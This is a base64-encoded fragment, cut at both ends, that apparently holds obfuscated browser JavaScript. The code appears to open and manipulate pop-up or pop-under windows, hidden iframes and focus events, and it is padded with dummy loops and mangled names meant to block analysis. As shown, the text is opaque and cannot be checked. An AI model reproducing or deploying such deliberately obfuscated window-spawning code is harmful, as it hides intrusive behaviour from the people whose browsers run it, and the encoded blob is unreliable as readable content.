RjJiZvW3pdIT09ciYmKHI9b1t6XSk7R2MuanQoby5qdCk7dGhpcy5fZSgpO3RyeXtyZXR1cm4gdGhpcy5sZShyLG8scyxhLGZ1bmN0aW9uKHQpe2kuZGUodCk7aS5oZSYmR2MuaGUoKTtlKHQpO30pO31jYXRjaCh0KXtyZXR1cm4gS2MuZSh0KSx5dTt9fSx2ZTpmdW5jdGlvbih0LGUsaSl7cmV0dXJuKEdjLm10LmJlP1pjLkM6QXUpKHQsZSxpKTt9LGRlOmt1LGhlOmd1fTtRYy5tZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMubWVbWHRdPVpjLnkoUWMudGVbWHRdLHtoZTp5dSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3IodGhpcy52ZSh0LGksbikpO319KTtRYy5nZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMuZ2VbWHRdPVpjLnkoUWMudGVbWHRdLHtoZTohWGMub3QmJiFYYy5kLGxlOmZ1bmN0aW9uKHQsZSxpLG4scil7cih0aGlzLnZlKHQsRmkpKTt9fSk7UWMueWU9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLnllW1h0XT1aYy55KFFjLnRlW1h0XSx7a2U6ZnVuY3Rpb24oKXt2YXIgdCxlLGk7dD1HYy53ZSgpO2U9R2MueGUuUztpPXR5cGVvZiBHYy5tdC5PZT09PVpzP0djLm10Lk9lW0NpXSgpOkdjLm10Lk9lO3JldHVybiBmdW5jdGlvbigpe3ZhciBuLHI7cmV0dXJuIGkhPT1GdT9pOihuPVpjLiQoMSkscj1lP2k6R2MuQ2UodCl8fGksZXUucygpfHwhWGMub3QmJiFYYy5nP3I6KHR1LmEoY3UsbixtdSkscltaXSh2cixHcikrKEdyK3NlK0dyKStuKSk7fSgpO30sbGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgeDksejksaDksbyxzLGEsYyx1LGgsZixwO3g5PTE3MTA2NjI4Nzg7ejk9LTEwMzk3MjE3MTM7aDk9Mjtmb3IodmFyIEw5PTE7dzUuZDEoTDkudG9TdHJpbmcoKSxMOS50b1N0cmluZygpLmxlbmd0aCwzMDE4NykhPT14OTtMOSsrKXtoOSs9Mjt9aWYodzUuZDEoaDkudG9TdHJpbmcoKSxoOS50b1N0cmluZygpLmxlbmd0aCw0NTQ4MCkhPT16OSl7fWE9dGhpcy5rZSgpO2M9R2Mud2UoKTt1PVpjLk4oYyk7aD0xNTtmPVtdO3A9ZnVuY3Rpb24odCl7dmFyIGU7dHlwZW9mIHRbQW5dPT09WnMmJihlPXRbQW5dLGl1LlgodCxncyxlKSk7dFtBbl09ZnVuY3Rpb24oKXtyZXR1cm4geXU7fTt9O2ZvcihHYy5FZSgpLGMmJmNbU2MrR3IrbWNdPT09T24mJmNbYWErR3IrR2ldKFRpKSE9PUZpJiZaYy5mKGMsdW4pJiYocChjKSwwIT09Y1thYStHcitHaV0odW4pW0wrR3IrV2FdKEN0KSYmKGE9Y1thYStHcitHaV0odW4pKT09PUdyJiYoYT1GdSkpLGMmJmNbU2MrR3IrbWNdPT09T24mJmNbYWErR3IrR2ldKFRpKT09PUZpJiZaYy5mKGMsdW4pJiYocChjKSxpbyhmdW5jdGlvbigpe2NbQW5dPW11O30sM2UzKSxHYy5tdC5QZT9hPWNbYWErR3IrR2ldKHVuKTooYT1GdSxYYy5vdCYmKFhjLnV0P2ZbTXJdKGZ1bmN0aW9uKCl7QXUoY1thYStHcitHaV0odW4pLEZpKTt9KTppbyhmdW5jdGlvbigpe0F1KGNbYWErR3IrR2ldKHVuKSxGaSk7fSwyMCkpKSksWGMuZXQmJlhjLnV0fHxYYy5ldCYmWGMuc3QmJiFYYy5kJiYhWGMuYiYmIVhjLmh0PyhBdShhLEZpKSxaYy5IKEJyLGZ1bmN0aW9uKCl7WmMuVCh0KTt9LGgpKTohWGMub3QmJlpjLmgoYyxUaSkhPT1GaSYmKFhjLnV0JiZYYy5zdHx8WGMuaHQmJlhjLnB0PDEwfHxYYy5iJiZYYy5wdDw0MSk/WGMudXQ/KFpjLlEoYSksWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6KFpjLlEodCksY1tTYytHcittY109PT1PbiYmdSYmWmMuVCh1KSk6WGMuZXQmJlhjLmQ/KG89QXUoYSxGaSksWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6KG89eVtRYV0oVWErVnQrY2ksRmkpKT8ob1tFaV1bdW5dPWEsWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6bz1BdSh0LEZpKSxzPTA7czxmW3BpXTtzKyspe2Zbc11bQ2ldKCk7fW8mJnIobyk7fX0pO1FjLm9lPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5vZVtYdF09WmMueShRYy50ZVtYdF0se2hlOnl1LGxlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIG87bz10aGlzLnZlKHQsaSxuKTtvW2tuXSgpO1R1W2JvXSgpO1pjLk0obyk7aW8oZnVuY3Rpb24oKXtyKG8pO30sMWUzKTt9fSk7UWMuY2U9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLmNlW1h0XT1aYy55KFFjLnRlW1h0XSx7bGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO289dGhpcy52ZSh0LGksbik7cz1HYy5UZSgxZTMpO2l1LksoeSxibyxmdW5jdGlvbigpe2lvKGZ1bmN0aW9uKCl7WmMuUChzKTt9LDEwKTt9KTtvW2NjXT1mdW5jdGlvbigpe2lvKGZ1bmN0aW9uKCl7WmMuUChzKTt9LDEwKTt9O3Iobyk7fX0pO1FjLmFlPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5hZVtYdF09WmMueShRYy50ZVtYdF0se2xlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIEQ5LFc5LGw5LG87RDk9MTk0OTIwNzgwOTtXOT04OTkwMjg0O2w5PTI7Zm9yKHZhciBWOT0xO3c1LkwxKFY5LnRvU3RyaW5nKCksVjkudG9TdHJpbmcoKS5sZW5ndGgsNTc4NTApIT09RDk7VjkrKyl7bDkrPTI7fWlmKHc1LkwxKGw5LnRvU3RyaW5nKCksbDkudG9TdHJpbmcoKS5sZW5ndGgsNTEwNjgpIT09Vzkpe315W3NvXT1aYy4kKDUpO289dGhpcy52ZSh0LGksbik7dGhpcy52ZShHcix5W3NvXSxHcik7eVtzb109bXU7cihvKTt9LGhlOnl1fSk7UWMuc2U9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLnNlW1h0XT1aYy55KFFjLnRlW1h0XSx7bGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO289dGhpcy52ZShQdT90OkZ1LGksbik7cz1mdW5jdGlvbigpe29bRWldW3VuXT10O307aXUuSyhvLGtuLHMpO29ba25dKCk7VHVbYm9dKCk7aW8ocywxMDApO3Iobyk7fSxoZTp5dX0pO1FjLm5lPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5uZVtYdF09WmMueShRYy50ZVtYdF0se0ZlOmZ1bmN0aW9uKCl7dmFyIHQsZTtlPVpjLnooYXIse2RhdGE6WmMuTChlbitQZStNYyx0aGlzLkFlKStaYy4kKDMpfSk7cmV0dXJuKHQ9WmMueihoYyx7c3R5bGU6UGkrVnQrYStlcitvYytWdCtIcytlcitLYStWdCtIcytlcitEYStWdCtOK2VyK3ArVnQrRnIrSGErR3IrZXIrSGkrVnQrem4rZXIrayt3aStHYStWdCtYaStlciskbytWdCthK2VyK0dyfSkpW0l0K0dyK1dlXShlKSxbZSx0XTt9LFNlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9WmMueSh0LHt9KTtyZXR1cm4gZVtwXT1lW0hpXT05ZTUsZVtvY109ZVtLYV09MSxlO30sQWU6THQrR3IrdGErR3IrRmMrR3IrUHMrR3Irb24rR3IrV2MrR3IreG8rR3IrJCtHcithaStHcituK0dyK1NhK0dyK0tyK0dyK1F0K0dyK2t0K0dyK3p0K0dyK3RjK0dyK1l0K0dyK3ZhK0dyK3MrR3IrdmErdWMraG4rR3IrTGErR3IrenQrR3IrVytHcitEYytHcitaYStHcittdCtHcitWaStHcitzYStHcitVZStHcitUYStHcit2YStHcitWaStHcitQcitHcit4bytHcitVZStHcitpYytHcitwbytHcitLcitHcitKK0dyK2hzK0dyK1ppK0dyK3ZhK0dyK1ByK0dyK0xhK0dyK3p0K0dyK1crR3IrRmMrR3IrdGMrR3IrWGErR3IrVHMrR3IrWmkrR3IrdmErR3IrUHIrR3IrSGUrR3IrenQrR3IrVytHcitGYytHcit0YytHcityYytHcithZStHcit2aStHcit2YStHcitQcitHcitydCtHcitwcytHcittdCtHcituYStHcitUbytHcityZStHcit4bytHcit0YStHcitqaStHcitXK0dyK2F0K0dyK3ZhK0dyK1ByK0dyK2MrR3IrYit1YytFK0dyK1FvK0dyK3BzK0dyK2RjK0dyK1l0K0dyK3ZhK0dyK1lhK0dyK1hhK0dyK1RzK0dyK1ppK0dyK3ZhK0dyK0dlK0dyK09lK0dyK2dhK0dyK0hvK0dyK3ZhK0dyK1ByK0dyK2t0K0dyK3p0K0dyK1crR3IrRmMrR3IrdGMrR3IrdmErR3Ircm4rdWMrQnQrR3IrVm4rR3IrRStHcitucitHcitrdCtHcit6dCtHcitXK0dyK0RjK0dyK1phK0dyK210K0dyK1ZpK0dyK09lK0dyK1krR3IrS3QrR3IreG8rR3IrVWUrR3IrYnMrR3IrRnQrR3IrUG8rR3IrRStHcitVZStHcitiaStHcitVZStHcitTZStHcitWcitHcitEcytHcit4bytHcitVZStHcitHbytHcit2YStHcitQdCtHcitVZStHcitScitHcit5YytHcitPZStHcitWbytHcitLcitHcit2YytHcitiZStHcitzK0dyK3hjK0dyK0tvK0dyK3IrR3IrYWkrR3IrZnQrdWMrQnQrR3IrVm4rR3IrRStHcitucitHcitBZStHcit6dCtHcitXK0dyK0RjK0dyK1phK0dyK210K0dyK1ZpK0dyK05hK0dyK1RzK0dyK010K0dyK2hyK0dyK1lzK0dyK0tzK0dyK0UrR3IrVWUrR3IrZm4rR3IrcmMrR3IrYWUrR3IrRCtHcitMdCtHcitWcitHcit0YStHcittdCtHcitacitHcitWcitHcitPZSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3ZhciBzLGEsYyx1LGg7dT10aGlzO2g9eXU7dHJ5eyhhPXRoaXMudmUoVWErVnQrY2ksRmkpKVttcl1bcnJdKHc1LnU0KHVyLEdyLEdyLGpvLFBlLHVpLEdyLFFyLEdyLFBlLG8sR3IsdWksdWksR3IsdXIsUGUsR3IsdXIsam8sR3IsdXIsbyx1aSxHcix1cixHcix1aSxRcix1cix1aSx3NS5ZNCgxMykpKTtpdS5LKGEscWEsZnVuY3Rpb24oKXtmdW5jdGlvbiBmKCl7bigpO2FbSW9dKCk7bygpO3JvKGMpO31ofHwoaD1ndSxzPWFbQmNdPUF1KFVhK1Z0K2NpLGksWmMuayh1LlNlKGUpKSksaXUuWChhLGJvLGYpLGM9aW8oZiwzZTMpLGFbbXJdW1FyXVtQYStHcithaStHcit4YytHcit6dCtHcitwYV09dS5GZSgpWzFdW1BuK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXSk7ZnVuY3Rpb24gbigpe3c1Llk0KDE0KTthW21yXVtRcl1bdzUudTQoUGEsenQsR3IsR3IsR3IseGMsR3IsYWkscGEpXT1Hcjt9ZnVuY3Rpb24gbygpe3ZhciBhMSxZMSxmMTthMT0tMTU2OTI3MTMyMDtZMT0yMzc1ODcyNDtmMT0yO2Zvcih2YXIgRDE9MTt3NS5MMShEMS50b1N0cmluZygpLEQxLnRvU3RyaW5nKCkubGVuZ3RoLDk0NDMyKSE9PWExO0QxKyspe3NbRWMlR3ItYmFdKGVbSGldLGVbcF0pO3NbZGElR3IqYmFdKGVbb2NdLGVbS2FdKTtzW0VpXVtaXSh0KTtyKHMpO2YxKz0yO31pZih3NS5kMShmMS50b1N0cmluZygpLGYxLnRvU3RyaW5nKCkubGVuZ3RoLDYyNDUzKSE9PVkxKXtzW0VjJUdyLWJhXShlW0hpXSxlW3BdKTtzW2RhJUdyKmJhXShlW29jXSxlW0thXSk7c1tFaV1bWl0odCk7cihzKTt9c1tFYytHcitiYV0oZVtIaV0sZVtwXSk7c1tkYStHcitiYV0oZVtvY10sZVtLYV0pO3NbRWldW1pdKHQpO3Iocyk7fX0pO31jYXRjaCh0KXt9fX0pO1FjLnJlPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5yZVtYdF09WmMueShRYy5uZVtYdF0se2xlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIG8scztzPVpjLk8oZ3UpO2l1LksoeSxibyxmdW5jdGlvbigpe1pjLlAocyk7b1tFaV1bWl0odCk7cihvKTt9KTt3NS5vNCg0KTtvPXRoaXMudmUodzUuYzQoVWEsVnQsY2kpLEZpKTtzW3RvK0dyK3lhXVttcl1bcnJdKHRoaXMuRmUoKVsxXVtQbitHcithaStHcit4YytHcit6dCtHcitwYV0pO319KTtRYy5pZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMuaWVbWHRdPVpjLnkoUWMudGVbWHRdLHtMZTpmdW5jdGlvbih0KXt2YXIgZSxpLG47aT10aGlzO249eXU7dzUubzQoNCk7ZT10aGlzLnZlKHc1LmM0KFVhLFZ0LGNpKSx0Lnd0fHxGaSx0LkJlfHxHcik7dC56ZSYmKGUmJmVbSW9dKCksbj1ndSk7IW4mJmUmJmlvKGZ1bmN0aW9uKCl7ZVtFaV1bdW5dPXQueHQ7dC5JZSYmaS5JZShlKTt9LDEwMCk7fSx1ZTpmdW5jdGlvbih0KXt2YXIgZSxpLG47bj10aGlzO3RoaXMuamU9ZHJbTW5dKCk7dGhpcy5mZT10O2U9R2Mud2UoKTt3NS5vNCgxNSk7aT1aYy5CKGUsdzUuYzQoZ3QsR3IseGMsR3IsR3IsRmMseGMsR3IsZmMsR3IsVnIpKTsoZVtTYytHcittY109PT1PbiYmZVthYStHcitHaV0oanIpIT09RmkmJiFaYy5TKGUpfHxpJiYhWmMuUyhpKSkmJih0aGlzLmhlPWd1KTtpdS5YKHksSWUsZnVuY3Rpb24gdChlKXt0cnl7ZVtpZV0uamU9PT1uLmplJiZuLkxlKGVbaWVdKTtlW2llXS56ZSYmaXUuWih5LEllLHQpO31jYXRjaCh0KXt9fSk7fSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3RoaXMuSWU9cjt0aGlzLk1lKHtqZTp0aGlzLmplLEJlOm4sSWU6Z3UseHQ6dH0pO3RoaXMuTWUoe2plOnRoaXMuamUsemU6Z3UseHQ6VWErVnQrY2l9KTt9LGhlOnl1LE1lOmZ1bmN0aW9uKHQpe3lbSnQrR3IrWF0odCx5W0VpXVtSb10pO319KTtHYz17X2k6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5RaSgpK3RoaXMuSGkoKT5aYy5HKCk7fSxLaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLm10LkplO30sSmU6ZnVuY3Rpb24oKXt2YXIgdDt0PVpjLngoYXJndW1lbnRzWzBdKT9hcmd1bWVudHNbMF06YXJndW1lbnRzO3JldHVybiB0aGlzLm5uKHQsUm4sdFtwaV0mJnRbMF09PT15dSk7fSxraTpmdW5jdGlvbih0LGUsaSxuKXt0aGlzLk9pKGksdCxndSl8fG4oZ3UseXUpO30sV2k6ZnVuY3Rpb24odCl7dHJ5e3JldHVybiB0W3F0XSYmMCE9PXRbcXRdfHx0aGlzLmNpLkcrMTUwPlpjLkcoKTt9Y2F0Y2godCl7cmV0dXJuIHl1O319LFJpOmZ1bmN0aW9uKCl7dGhpcy5XZT1bXTt9LFlpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubXQucWU7fSxVaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLldlO30sWmU6bXUsVGk6ZnVuY3Rpb24odCl7dmFyIGU7ZT0wO2lmKCF0fHx0aGlzLnFpKHQpKXtyZXR1cm4geXU7fWlmKCF0aGlzLm10LnFlW3BpXXx8dFthYStHcitHaV0obG8pPT09ZnUpe3JldHVybiBndTt9Zm9yKDtlPHRoaXMubXQucWVbcGldO2UrKylpZih0PT09dGhpcy5tdC5xZVtlXXx8dHlwZW9mIHRoaXMubXQucWVbZV09PT1UYyYmKHRbU2MrR3IrbWNdPT09dGhpcy5tdC5xZVtlXVtYcytHcitwcitHcituY10oKXx8WmMuSSh0LHRoaXMubXQucWVbZV0pKXx8WmMuQih0LHRoaXMubXQucWVbZV0pKXtyZXR1cm4gZ3U7fXJldHVybiB5dTt9LHdlOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMueGUuUXQ7fSxMaTpmdW5jdGlvbigpe3ZhciB0LGU7ZT10aGlzO3RoaXMuWmU9WmMueihoYyx7c3R5bGU6b2MrVnQrRnIrSGErR3IrZXIrS2ErVnQrRnIrSGErR3IrZXIrRGErVnQrSXMrZXIrcCtWdCt6bitlcitIaStWdCt6bitlcitzbit3aStMK1Z0K25vK2VyK3h0K1Z0K1hpK2VyK0dyfSxHcik7dD1DbyhmdW5jdGlvbigpe3ZhciBpO2k9cmlbUXJdO2kmJihHcyh0KSxpW0l0K0dyK1dlXShlLlplKSk7fSwxMDApO30saGk6ZnVuY3Rpb24oKXt2YXIgTjksYTksWTksdCxlLGk7Tjk9LTUxNTA4MTc1NzthOT0tMTMwNjg1MTEzNztZOT0yO2Zvcih2YXIgczk9MTt3NS5kMShzOS50b1N0cmluZygpLHM5LnRvU3RyaW5nKCkubGVuZ3RoLDEwMDExKSE9PU45O3M5Kyspe1k5Kz0yO31pZih3NS5MMShZOS50b1N0cmluZygpLFk5LnRvU3RyaW5nKCkubGVuZ3RoLDQ1MzQ0KSE9PWE5KXt9aT10aGlzLlhlLm9pO2Zvcih0PTA7dDx0aGlzLmZpW3BpXSYmKCF0aGlzLnBpKCkmJiF0aGlzLl9pKCkpO3QrKyl7aWYoZT10aGlzLmZpW3RdLHRoaXMuWGUuc2krKyx0aGlzLlhlLm9pPVpjLkcoKSx0aGlzLmxpKGUpPT09eXUpe3JldHVybiB0aGlzLlhlLnNpLS0sdm9pZCh0aGlzLlhlLm9pPWkpO31pPXRoaXMuWGUub2k7ZXUuYShodSx0aGlzLlhlLm9pKTtlLnl0PT09bHUmJmV1LmEodXUsdGhpcy5YZS5zaSk7fX0sT2k6ZnVuY3Rpb24odCxlLGkpe3ZhciBuLHIsbyxzO3c1Lm80KDQpO289dzUuYzQoR3IsVHQsR3IpO3c1Llk0KDIpO3M9dzUuYzQobyx0KTtmb3Iobj0wO248ZVtwaV07bisrKWlmKHI9KEdyK090K0dyK1R0K0dyKVtMK0dyK1dhXShlW25dWzBdKT4tMT9lW25dOm8rZVtuXSxzW2ZzXShzW3BpXS1yW3BpXSk9PT1yfHxpJiZyPT09d3Upe3JldHVybiBndTt9cmV0dXJuIHl1O30sZW46ZnVuY3Rpb24odCxlKXt2YXIgTDAsZDAsTzAsaSxuO0wwPTEyMjU5MjUxNjQ7ZDA9LTc2NDA0NzIyNjtPMD0yO2Zvcih2YXIgQzA9MTt3NS5MMShDMC50b1N0cmluZygpLEMwLnRvU3RyaW5nKCkubGVuZ3RoLDk4MzQ3KSE9PUwwO0MwKyspe08wKz0yO31pZih3NS5MMShPMC50b1N0cmluZygpLE8wLnRvU3RyaW5nKCkubGVuZ3RoLDg1NTk4KSE9PWQwKXt9aT10aGlzO249dGhpcy50bih0LGUpO3RoaXMuV2VbTXJdKG4pO3RoaXMuRGkobik7dGhpcy5pbnx8KEdjLkNpKCksZnVuY3Rpb24oKXt2YXIgdCxlO1hjLmImJigoZT1yaVtVcytHcitDbl0oaGMpKVtSYytHcitpdF0oVmEsZnVuY3Rpb24oKXtDdT1ndTt9KSxDdT1vNSx0PUNvKGZ1bmN0aW9uKCl7aWYoQ3U9eXUsIWkubXQuUmUpe2lmKHR5cGVvZiB5W3dzXSE9PWFyfHx0eXBlb2YgeVt3c11bT29dIT09WnMpe3JldHVybiBDdT1vNSx2b2lkIEdzKHQpO315W3dzXVtPb10oZSk7eVt3c11bTWldKCk7fX0sNTAwKSk7fSgpLHRoaXMuaW49bzUpO30sUGk6ZnVuY3Rpb24odCl7cmV0dXJuIHRoaXMuSmkoKSx0P3RoaXMuZmlbcGldOnRoaXMuZmlbcGldPjA7fSx2aTpmdW5jdGlvbigpe3ZhciB0LGU7dD1aYy5HKCk7ZT1aYy5HKGF1KTt3NS5ZNCgxNik7dGhpcy5YZS5yaT13NS5jNChlLHQsMzE1MzYwMDAwMDApO3RoaXMuWGUucmkmJih0aGlzLmxpPWt1KTt9LEJpOmZ1bmN0aW9uKCl7dmFyIHQ7dD1VYyhldS5jKGh1KSwxMCk7cWModCkmJih0PTApO3RoaXMuWGUub2k9dDt9LENlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9WmMuTih0KTtyZXR1cm4gZSYmIXRoaXMubXQuTmUmJlpjLlModCk/eXU6ZTt9LGp0OmZ1bmN0aW9uKHQpe3ZhciBlLGksbjtlPXR5cGVvZiB0PT09Z2U/Z3U6ISF0O3c1Lm80KDIpO2k9dzUuYzQocnUsSSk7bj1yaVthYStHcitDbitHcitpaStHcit0bl0oaSk7ZT9ufHwobj1aYy56KERvLHtjb250ZW50OkljK3dpK2lhLG5hbWU6aWEsaWQ6aX0pLHJpW2FhK0dyK1JlK0dyK2lpK0dyK1JpK0dyK21jXShvKVswXVtJdCtHcitXZV0obikpOm4mJlpjLlAobik7fSxHaTpmdW5jdGlvbigpe3RoaXMuWGUuaWk9Z3U7dGhpcy5oaT1rdTt9LEp0OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubXQuRGU7fSx5aTpmdW5jdGlvbih0LGUsaSxuLHIpe2Zvcih2YXIgbyxzPTA7czxlJiYobz10W3NdLCEoMT09PW4mJihyKGlbcytlXSx0W3NdKmlbc10rcysoaVtzXT4+cyszKSl8fHIoaVtzKzIqZV0sdFtzXSoodFswXSt0WzFdK3RbMl0pKyhpW3NdPDxzKSl8fHIoaVtzKzMqZV0sZHJbQWNdKHRbMF0qdFsxXSp0WzJdL28pK28rKGlbc10+PnMpKSl8fG48MSYmKHIoaVtzK2VdLHRbc10qaVtzXStzKXx8cihpW3MrMiplXSx0W3NdKih0WzBdK3RbMV0rdFsyXSkpfHxyKGlbcyszKmVdLGRyW0FjXSh0WzBdKnRbMV0qdFsyXS9vKStvKSkpKTtzKyspO30scWk6ZnVuY3Rpb24odCl7dmFyIGU7ZT0wO2lmKCF0fHwhdGhpcy5tdC5KZVtwaV0pe3JldHVybiB5dTt9Zm9yKDtlPHRoaXMubXQuSmVbcGldO2UrKylpZih0PT09dGhpcy5tdC5KZVtlXXx8dHlwZW9mIHRoaXMubXQuSmVbZV09PT1UYyYmKHRbU2MrR3IrbWNdPT09dGhpcy5tdC5KZVtlXXx8WmMuSSh0LHRoaXMubXQuSmVbZV0pKXx8WmMuQih0LHRoaXMubXQuSmVbZV0pKXtyZXR1cm4gZ3U7fXJldHVybiB5dTt9LGNpOnt1aTp7fSxHOjB9LEhpOmZ1bmN0aW9uKCl7cmV0dXJuIFhjLm90P2RyW0JvXSh0aGlzLm10LlZlLDFlMyk6WGMuYnx8WGMuZ3x8WGMuY3R8fFhjLnV0JiYhWGMuZXQ/ZHJbQm9dKHRoaXMubXQuVmUsMjAwKTp0aGlzLm10LlZlO30sRWU6ZnVuY3Rpb24odCl7dmFyIGUsWjcsdDcsVTc7Wjc9LTEyNTc1NDEyNDI7dDc9MTMwMDY1ODcyMDtVNz0yO2Zvcih2YXIgejc9MTt3NS5MMSh6Ny50b1N0cmluZygpLHo3LnRvU3RyaW5nKCkubGVuZ3RoLDgzNTc3KSE9PVo3O3o3Kyspe2U9dHx8dGhpcy5jaS51aTtVNys9Mjt9aWYodzUuZDEoVTcudG9TdHJpbmcoKSxVNy50b1N0cmluZygpLmxlbmd0aCwzMDU1KSE9PXQ3KXtlPXQmJnRoaXMuY2kudWk7fXRyeXtlW01vK0dyK25pXSYmZVtNbytHcituaV0oKTtlW3FlK0dyK19zXSYmZVtxZStHcitfc10oKTt3NS5vNCg0KTtlW3c1LmM0KE5yLEdyLGNvKV09eXU7dzUubzQoNCk7ZVt3NS51NChtcyxHcixIcildPWd1O31jYXRjaCh0KXt9fSxpOmZ1bmN0aW9uKCl7dmFyIE8xLEcxLEMxO08xPS0xMzAyMzI0NTE3O0cxPTg4ODY0MDYzMDtDMT0yO2Zvcih2YXIgbjE9MTt3NS5kMShuMS50b1N0cmluZygpLG4xLnRvU3RyaW5nKCkubGVuZ3RoLDU5MTU1KSE9PU8xO24xKyspe3JldHVybiB0aGlzLm10LlVlfHx0aGlzLm10LkRlO0MxKz0yO31pZih3NS5MMShDMS50b1N0cmluZygpLEMxLnRvU3RyaW5nKCkubGVuZ3RoLDIzODAyKSE9PUcxKXtyZXR1cm4gdGhpcy5tdC5VZSYmdGhpcy5tdC5EZTt9fSxwaTpmdW5jdGlvbigpe3ZhciBoNyxpNyxMNztoNz0tMTUxMTEyMzE1NDtpNz0tMTY3MjAwNTI5NjtMNz0yO2Zvcih2YXIgTzc9MTt3NS5kMShPNy50b1N0cmluZygpLE83LnRvU3RyaW5nKCkubGVuZ3RoLDMyNTMzKSE9PWg3O083Kyspe3JldHVybiB0aGlzLiRpKCk8dGhpcy5tdC5IZTtMNys9Mjt9aWYodzUuTDEoTDcudG9TdHJpbmcoKSxMNy50b1N0cmluZygpLmxlbmd0aCwxOTk5KSE9PWk3KXtyZXR1cm4gdGhpcy4kaSgpPj10aGlzLm10LkhlO319LGdpOmZ1bmN0aW9uKHQsZSxpLG4scil7Zm9yKHZhciBvLHM9MDtzPGUmJihvPXRbc10sISgxPT09biYmKHIob1trZStHcitucytHcitCaV0oMCkqaVtzXStzKzErKGlbc108PGlbc10lMTApLGlbZStzXSl8fHIob1trZStHcitucytHcitCaV0ob1twaV0tMSkqaVtzXSoyK3MrKGlbc10+PnMpLGlbMiplK3NdKXx8cihvW3BpXSppW3NdKjMrKGlbc108PHMpLGlbMyplK3NdKSl8fG48MSYmKHIob1trZStHcitucytHcitCaV0oMCkqaVtzXStzKzEsaVtlK3NdKXx8cihvW2tlK0dyK25zK0dyK0JpXShvW3BpXS0xKSppW3NdKjIrcyxpWzIqZStzXSl8fHIob1twaV0qaVtzXSozLGlbMyplK3NdKSkpKTtzKyspO30sV2U6W10sdG46ZnVuY3Rpb24odCxlKXtyZXR1cm4gbmV3IFljKHRoaXMuV2VbcGldLHQsZSk7fSxBaTpmdW5jdGlvbih0KXt0aGlzLmNpLnVpPXQ7dGhpcy5jaS5HPVpjLkcoKTt9LGFpOltdLE1pOmZ1bmN0aW9uKHQpe3JldHVybiBudS5YdCh0KSx0aGlzO30sWmk6ZnVuY3Rpb24oKXtyZXR1cm4gWmMucChbW1RyLHRoaXMubXQuRGVdLFtvaSx0aGlzLm10LlVlXSxbd3QsdGhpcy5tdC5SZV0sW0xyK0dyK3plLHRoaXMubXQuT2VdLFtSbitHcitFbix0aGlzLm10Lk5lXSxbRHQsdGhpcy5tdC5IZV0sW2xjK0dyK2JhLHRoaXMubXQucWVdLFtSbitHcitiYSx0aGlzLm10LkplXSxbUW4sdGhpcy5tdC5WZV0sW3crR3IrVix0aGlzLm10LiRlXSxbdytHcitEbix0aGlzLm10LlFlXSxbcG4rR3IrdHIrR3IrTG4sdGhpcy5tdC5HZV0sW0JzK0dyK2wrR3IrU3MsdGhpcy5tdC4kdF0sW05zK0dyKyRyLHRoaXMubXQuWWVdLFtJYytHcitwYytHcitfaSx0aGlzLm10LmJlXSxbTHMrR3IrYnQsdGhpcy5tdC5LZV0sW0IrR3IrdmUrR3IrX28rR3IreW4rR3IrTG4sdGhpcy5tdC5QZV1dKTt9LFRlOmZ1bmN0aW9uKHQpe3ZhciBlLGk7aT1aYy5PKGd1KTtyZXR1cm4gZT1pW3RvK0dyK3lhXVttcl1bVXMrR3IrQ25dKGRlKSwwPT09eVtFaV1bdW5dW0wrR3IrV2FdKGorVnQrR3IpP2VbUGErR3IrYWkrR3IreGMrR3IrenQrR3IrcGFdPUdyKyhXcitZZStHcit3bitHcikrKGYrVHQrUytUdCthYStHcitaZStHcitRaStSK1pzK1IrR3IrUCtHcit3bitHcitEcitHcitQK0dyK2VyK0dyKSsoR3IrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKTplW1BhK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXT1HcisoV3IrWWUrR3Ird24rR3IpKyhZcitUdCtjYStHcitfZStSK1pzK1IrR3IrUCtHcit3bitHcitEcitHcitQK0dyK2VyK0dyKSsoR3IrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKSxpW3RvK0dyK3lhXVttcl1bUXJdW0l0K0dyK1dlXShlKSx0eXBlb2YgdCE9PVd0JiZ0eXBlb2YgdCE9PWdlfHxpbyhmdW5jdGlvbigpe1pjLlAoaSk7fSx0fHw1MDApLGk7fSxOaTpmdW5jdGlvbigpe3ZhciBvMSx3MSxwMTtvMT0tMjExMjgyOTI0MDt3MT00MjIxODMwODI7cDE9Mjtmb3IodmFyIHEwPTE7dzUuZDEocTAudG9TdHJpbmcoKSxxMC50b1N0cmluZygpLmxlbmd0aCwzNTgxNCkhPT1vMTtxMCsrKXtmb3IodmFyIHQsZT02O2U8PXRoaXMuV2VbcGldO2UtLSl7dD10aGlzLldlW2VdO3R1LnUodC5tdC5